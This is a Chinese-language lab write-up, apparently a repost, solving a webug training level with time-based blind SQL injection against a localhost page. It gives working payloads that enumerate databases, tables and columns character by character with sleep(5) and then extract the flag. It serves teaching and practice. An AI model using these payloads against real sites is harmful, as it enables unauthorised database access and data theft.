/*打开这道题时,发现和第二关的链接一样。既然作者考察的是延时注入就利用响应时间来判断*/
用延时注入时,我们一般不能从页面直接获取数据库信息,所用知识与第二关基本相同
if(exp,1,sleep(5)) 如果exp为真,返回1,否则返回sleep(5) 就是延时5s响应
0x01 经过尝试发现 ‘or 1=1--+ 能使页面正常
0x02 利用 ‘order by 1--+ 尝试判断出字段个数为3
0x03 利用延时注入爆所有数据库名字
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>104,1,sleep(5))--+
判断第一个数据库第一个字符大于104是否为真 true返回1,false返回sleep(5) 可利用二分法定位
判断第二个字符时 修改为substr(*****,2,1)
判断第二个数据库时 修改为limit 1,1
如果需爆当前数据库名字
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr(database(),1,1))>100,1,sleep(5))--+
爆出当前数据库名字 ‘webug‘
0x04 利用延时注入爆webug下的表
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select table_name from information_schema.tables where table_schema=0x7765627567 limit 0,1),1,1))>97,1,sleep(5))--+
爆出webug下的表:data_crud,env_list,env_path,flag,sqlinjection,user,user_test
0x05 利用延时注入爆env_list下的列
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656e765f6c697374 limit 0,1),1,1))>97,1,sleep(5))--+
env_list的表里有:id,envName,envDesc,envIntegration,delFlag,envFlag,level,type
0x06 利用延时注入爆id=3时envFlag内容
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select envFlag from webug.env_list limit 2,1),1,1))>100,1,sleep(5))--+
limit 2,1 是从0开始的 故id=3时也就是limit 2,1 当然也可以写成下面的
http://localhost/control/sqlinject/bool_injection.php?id=1‘ and if(ascii(substr((select envFlag from webug.env_list where id=3),1,1))>100,1,sleep(5))--+
最后flag:gfdgdfsdg
原文:https://www.cnblogs.com/yuuki-aptx/p/10546666.html